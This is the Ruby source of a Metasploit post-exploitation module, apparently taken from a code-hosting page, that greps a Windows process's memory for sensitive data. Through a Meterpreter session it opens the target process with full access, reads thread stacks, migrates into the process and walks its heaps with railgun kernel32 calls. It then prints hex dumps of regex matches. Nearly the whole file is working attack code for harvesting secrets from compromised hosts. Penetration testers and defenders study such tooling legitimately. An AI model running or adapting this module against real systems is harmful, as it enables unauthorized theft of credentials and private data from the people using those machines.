136 lines
4.0 KiB
Ruby
136 lines
4.0 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Post
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def initialize(info={})
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super( update_info(info,
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'Name' => 'Windows Gather Process Memory Grep',
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'Description' => %q{
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This module allows for searching the memory space of a proccess for potentially
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sensitive data. Please note: This module will have to migrate to the process you
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are grepping, and will not migrate back automatically. This means that if the user
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terminates the application after using this module, you may lose your session.
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},
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'License' => MSF_LICENSE,
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'Author' => ['bannedit'],
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'Platform' => ['win'],
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'SessionTypes' => ['meterpreter' ]
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))
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register_options([
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OptString.new('PROCESS', [true, 'Name of the process to dump memory from', nil]),
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OptString.new('REGEX', [true, 'Regular expression to search for with in memory', nil]),
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], self.class)
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end
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def run
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if session.type != "meterpreter"
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print_error "Only meterpreter sessions are supported by this post module"
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return
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end
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print_status("Running module against #{sysinfo['Computer']}")
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target_pid = nil
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stack = []
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name = datastore['PROCESS']
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regex = Regexp.new(datastore['REGEX'])
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target_pid = client.sys.process[name]
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unless target_pid
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print_error("Could not access the target process")
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return
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end
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print_status("Found #{datastore['PROCESS']} running as pid: #{target_pid}")
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process = session.sys.process.open(target_pid, PROCESS_ALL_ACCESS)
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begin
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print_status("Walking process threads...")
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threads = process.thread.each_thread do |tid|
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thread = process.thread.open(tid)
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esp = thread.query_regs['esp']
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addr = process.memory.query(esp)
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vprint_status("Found Thread TID: #{tid}\tBaseAddress: 0x%08x\t\tRegionSize: %d bytes" % [addr['BaseAddress'], addr['RegionSize']])
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data = process.memory.read(addr['BaseAddress'], addr['RegionSize'])
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stack << {
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'Address' => addr['BaseAddress'],
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'Size' => addr['RegionSize'],
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'Handle' => thread.handle,
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'Data' => data
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}
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end
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rescue
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end
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# we need to be inside the process to walk the heap using railgun
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current = session.sys.process.getpid
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if target_pid != current
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print_status("Migrating into #{target_pid} to allow for dumping heap data")
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session.core.migrate(target_pid)
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end
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heap = []
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railgun = session.railgun
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heap_cnt = railgun.kernel32.GetProcessHeaps(nil, nil)['return']
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dheap = railgun.kernel32.GetProcessHeap()['return']
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vprint_status("Default Process Heap: 0x%08x" % dheap)
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ret = railgun.kernel32.GetProcessHeaps(heap_cnt, heap_cnt * 4)
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pheaps = ret['ProcessHeaps']
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idx = 0
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handles = []
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while idx != pheaps.length
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vprint_status("Found Heap: 0x%08x" % pheaps[idx, 4].unpack('V')[0])
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handles << pheaps[idx, 4].unpack('V')[0]
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idx += 4
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end
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print_status("Walking the heap... this could take some time")
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begin
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heap = []
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handles.each do |handle|
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lpentry = "\x00" * 42
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while (ret = railgun.kernel32.HeapWalk(handle, lpentry)) and ret['return']
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entry = ret['lpEntry'][0, 4].unpack('V')[0]
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size = ret['lpEntry'][4, 4].unpack('V')[0]
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data = process.memory.read(entry, size)
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vprint_status("Walking Entry: 0x%08x\t Size: %d" % [entry, size])
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heap << {'Address' => entry, 'Size' => size, 'Handle' => handle, 'Data' => data}
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lpentry = ret['lpEntry']
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end
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end
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rescue
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end
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matches = []
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stack.each do |mem|
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idx = mem['Data'].index(regex)
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if idx != nil
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print_status("Match found!")
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print_line
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data = mem['Data'][idx, 512]
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print_line(Rex::Text.to_hex_dump(data))
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end
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end
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heap.each do |mem|
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idx = mem['Data'].index(regex)
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if idx != nil
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print_status("Match found")
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print_line
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data = mem['Data'][idx, 512]
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print_line(Rex::Text.to_hex_dump(data))
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end
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end
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end
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end
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